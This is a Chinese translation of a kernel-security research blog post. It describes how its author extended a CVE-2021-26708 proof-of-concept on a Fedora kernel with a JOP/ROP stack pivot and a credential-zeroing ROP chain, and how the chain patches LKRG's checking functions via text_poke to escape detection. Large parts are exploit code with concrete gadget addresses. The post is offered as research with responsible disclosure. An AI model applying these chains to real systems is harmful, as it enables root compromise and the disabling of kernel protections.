改进CVE-2021-26708漏洞利用以绕过LKRG | Alexander Popov
概述
这是我之前研究的后续工作,在文章《四字节的力量:利用Linux内核中的CVE-2021-26708》中已有描述。我的CVE-2021-26708概念验证漏洞利用在权限提升方面功能有限,因此我决定继续对该漏洞进行实验。本文描述了我如何改进漏洞利用、添加完整功能的ROP链,并实现了绕过Linux内核运行时防护(LKRG)的新方法。
有限的权限提升
在第一篇文章中,我描述了如何利用Linux虚拟套接字中的竞争条件实现4字节内存破坏,并逐步将其转变为对内核内存的任意读写。在本节中,我将简要总结权限提升的实现方式及其局限性。
通过覆盖sk_buff内核对象的destructor_arg回调实现控制流劫持,从而执行任意写入:
1
|
void (*callback)(struct ubuf_info *, bool zerocopy_success);
|
当内核在skb_zcopy_clear()中调用此回调时,RDI寄存器存储第一个函数参数(即ubuf_info结构本身的地址),RSI寄存器存储第二个函数参数(值为1)。
攻击者可以控制ubuf_info的内容,但其前8字节被回调函数指针占用。这造成了严重限制!因此,对于栈转移,ROP gadget应如下所示:
1
|
mov rsp, qword ptr [rdi + 8] ; ret
|
不幸的是,在Fedora内核二进制文件vmlinuz-5.10.11-200.fc33.x86_64中没有类似的gadget。但我使用ROPgadget找到了一个符合这些约束的gadget,可以在不进行栈转移的情况下执行任意写入:
1
|
mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
|
如前所述,RDI存储攻击者控制的内核内存地址,RSI存储1,RCX存储0。换句话说,这个gadget在攻击者控制的内存地址写入七个0字节和一个1字节。为了实现权限提升,我的PoC漏洞利用将进程凭据中的uid、gid、effective uid和effective gid写为零。
攻击者控制下的寄存器
我重新审视了控制流劫持时CPU寄存器的状态。在skb_zcopy_clear()中插入断点以执行destructor_arg回调:
1
2
3
|
$ gdb vmlinux
gdb-peda$ target remote :1234
gdb-peda$ break ./include/linux/skbuff.h:1481
|
调试器显示当内核命中断点并即将执行回调时,RDI和R8包含前面提到的ubuf_info指针,R9存储某些内核堆栈内存的地址(接近RSP值),R12和R14寄存器包含内核堆中的地址,RBP寄存器包含skb_shared_info的地址。
神秘的JOP gadget
我开始检查所有涉及RBP的gadget,最终找到了许多JOP gadget,例如:
1
|
0xffffffff81711d33 : xchg eax, esp ; jmp qword ptr [rbp + 0x48]
|
RBP + 0x48指向攻击者控制的内核内存。我意识到可以使用这样的JOP gadget链执行栈转移,然后进行常规ROP。
但当我尝试在控制流劫持期间调用此gadget时,内核因页面错误而崩溃。调试后发现,Linux内核可以在运行时修补其代码,特别是CONFIG_DYNAMIC_FTRACE机制改变了许多我感兴趣的JOP gadget。
JOP/ROP链实现栈转移
我检查了内核内存转储中带有RBP的gadget,并成功构建了栈转移链:
1
2
3
4
5
6
7
8
9
10
|
/* JOP/ROP gadget链用于栈转移 */
/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
#define STACK_PIVOT_1_MOV_ECX_ESP_JMP (0xFFFFFFFF81768A43lu + kaslr_offset)
/* push rdi ; jmp qword ptr [rbp - 0x75] */
#define STACK_PIVOT_2_PUSH_RDI_JMP (0xFFFFFFFF81B5FD0Alu + kaslr_offset)
/* pop rsp ; pop rbx ; ret */
#define STACK_PIVOT_3_POP_RSP_POP_RBX_RET (0xFFFFFFFF8165E33Flu + kaslr_offset)
|
第一个JOP gadget将RSP的低32位保存到ECX,并跳转到受控内存中的下一个位置。第二个JOP gadget将RDI中的ubuf_info地址推入内核堆栈。第三个ROP gadget将堆栈指针设置为ubuf_info结构的地址。
权限提升的ROP实现
实现栈转移后,我使用常规ROP快速重新实现了权限提升(EoP):
1
2
3
4
5
6
7
8
9
10
11
12
13
|
unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;
#define ROP_POP_RAX_RET (0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + kaslr_offset)
/* 1. 执行权限提升 */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
|
然后,ROP链必须恢复原始RSP值并继续系统调用处理。原始堆栈指针的低32位已保存在RCX中,其高32位可以从R9中提取(该寄存器存储内核堆栈中的地址)。
攻击LKRG
Linux内核运行时防护(LKRG)是一个出色的项目!它是一个Linux内核模块,执行内核的运行时完整性检查并检测内核漏洞利用。LKRG的反利用功能旨在检测漏洞利用期间执行的特定内核数据破坏。
我决定升级我的CVE-2021-26708漏洞利用,并开发一种绕过LKRG的新方法。
成功的LKRG攻击
最终,我创建了一个针对LKRG的有效攻击。在我的ROP链中,我修补了LKRG代码本身!我修补的第一个函数是p_check_integrity(),它负责检查Linux内核完整性。第二个修补的函数是p_cmp_creds(),它检查系统中运行进程的凭据与LKRG数据库的对比,以检测非法权限提升。
我用0x48 0x31 0xc0 0xc3修补这些函数,这是xor rax, rax ; ret或return 0。然后,我提升了权限。
让我们看看最终的ROP链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;
#define SAVED_RSP_OFFSET 3400
#define ROP_MOV_RAX_R9_RET (0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET (0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET (0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET (0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_MOV_RDX_RAX_RET (0xFFFFFFFF81999A1Dlu + kaslr_offset)
#define ROP_POP_RAX_RET (0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_RDX_RET (0xFFFFFFFF81B6CB17lu + kaslr_offset)
/* 1. 保存RSP */
rop_gadget[i++] = ROP_MOV_RAX_R9_RET; /* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 0xffffffff00000000lu;
rop_gadget[i++] = ROP_AND_RAX_RDX_RET; /* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD_RAX_RCX_RET; /* add rax, rcx ; ret */
rop_gadget[i++] = ROP_MOV_RDX_RAX_RET; /* mov rdx, rax ; shr rax, 0x20 ; xor eax, edx ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_RDX_RET; /* mov qword ptr [rax], rdx ; ret */
|
这部分从ECX和R9中的位重建原始RSP值。现在,我将堆栈指针保存到SKB_SHINFO_OFFSET处的sk_buff数据中,以避免将其存储在专用寄存器中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#define KALLSYMS_LOOKUP_NAME (0xffffffff81183dc0lu + kaslr_offset)
#define FUNCNAME_OFFSET_1 3550
#define ROP_POP_RDI_RET (0xFFFFFFFF81004652lu + kaslr_offset)
#define ROP_JMP_RAX (0xFFFFFFFF81000087lu + kaslr_offset)
/* 2. 销毁lkrg:第1部分 */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = KALLSYMS_LOOKUP_NAME;
/* unsigned long kallsyms_lookup_name(const char *name) */
rop_gadget[i++] = ROP_POP_RDI_RET; /* pop rdi ; ret */
rop_gadget[i++] = uaf_write_value + FUNCNAME_OFFSET_1;
strncpy((char *)xattr_addr + FUNCNAME_OFFSET_1, "p_cmp_creds", 12);
rop_gadget[i++] = ROP_JMP_RAX; /* jmp rax */
|
ROP链的这一部分调用kallsyms_lookup_name(“p_cmp_creds”)。FUNCNAME_OFFSET_1处的sk_buff数据存储"p_cmp_creds"字符串。
1
2
3
4
5
6
7
|
#define XOR_RAX_RAX_RET (0xFFFFFFFF810859C0lu + kaslr_offset)
#define ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET (0xFFFFFFFF81196AA2lu + kaslr_offset)
/* 如果未找到lkrg函数,让我们修补"xor rax, rax ; ret" */
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = XOR_RAX_RAX_RET;
rop_gadget[i++] = ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET; /* test rax, rax ; cmove rax, rdx ; ret*/
|
kallsyms_lookup_name()函数在RAX中返回p_cmp_creds()的地址。如果LKRG模块未加载,kallsyms_lookup_name()返回NULL。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
#define TEXT_POKE (0xffffffff81031300lu + kaslr_offset)
#define CODE_PATCH_OFFSET 3450
#define ROP_MOV_RDI_RAX_POP_RBX_RET (0xFFFFFFFF81020ABDlu + kaslr_offset)
#define ROP_POP_RSI_RET (0xFFFFFFFF810006A4lu + kaslr_offset)
rop_gadget[i++] = ROP_MOV_RDI_RAX_POP_RBX_RET;
/* mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret */
rop_gadget[i++] = 0x1337; /* RBX的虚拟值 */
rop_gadget[i++] = ROP_POP_RSI_RET; /* pop rsi ; ret */
rop_gadget[i++] = uaf_write_value + CODE_PATCH_OFFSET;
strncpy((char *)xattr_addr + CODE_PATCH_OFFSET, "\x48\x31\xc0\xc3", 5);
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 4;
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = TEXT_POKE;
/* void *text_poke(void *addr, const void *opcode, size_t len) */
rop_gadget[i++] = ROP_JMP_RAX; /* jmp rax */
|
在这里,shellcode准备参数并调用text_poke()进行代码修补:
- RAX中的地址作为函数的第一个参数存储在RDI中
- CODE_PATCH_OFFSET处的sk_buff数据存储修补有效载荷0x48 0x31 0xc0 0xc3,其地址作为第二个函数参数存储在RSI中
- text_poke()的第三个参数是有效载荷的长度,通过存储4的RDX寄存器提供
text_poke()内核函数在实时内核上更新指令。它重新映射代码页并执行memcpy()。kprobes和其他内核机制使用此技巧。
然后,对LKRG模块的p_check_integrity()函数执行相同的过程,包括kallsyms_lookup_name()、cmove和text_poke()。完成后,LKRG无能为力,shellcode可以执行权限提升:
1
2
3
4
5
6
7
8
9
|
#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + kaslr_offset)
/* 3. 执行权限提升 */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
|
在最后部分,ROP链从SAVED_RSP_OFFSET处的sk_buff数据恢复原始RSP值,该值在开始时已保存:
1
2
3
4
5
6
7
|
/* 4. 恢复RSP并继续 */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
rop_gadget[i++] = ROP_MOV_RAX_QWORD_PTR_RAX_RET; /* mov rax, qword ptr [rax] ; ret */
rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; ret */
rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET;
/* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret */
|
然后,recv()系统调用处理以root权限继续。
负责任的披露
6月10日,我向Adam和Alexander Peslyak(又名Solar Designer)披露了我对LKRG的实验信息。我们讨论了我的LKRG绕过方法,并交换了对LKRG的总体看法。
7月3日,我在公共lkrg-users邮件列表中披露了我的攻击方法。截至8月1日,这种攻击方法尚未得到缓解。
结论
在本文中,我描述了我如何改进Linux内核中CVE-2021-26708的PoC漏洞利用。这是一次有趣的旅程,涉及大量汇编和面向返回的编程。我在实时GNU/Linux系统的内存中搜索ROP/JOP gadget,并在受限条件下成功执行了栈转移。我还从攻击者的角度审视了Linux内核运行时防护,开发了一种针对LKRG的新攻击,并与LKRG团队分享了我的结果。
我相信撰写本文对Linux内核社区非常有用,因为它展示了内核漏洞利用和防御的实际方面。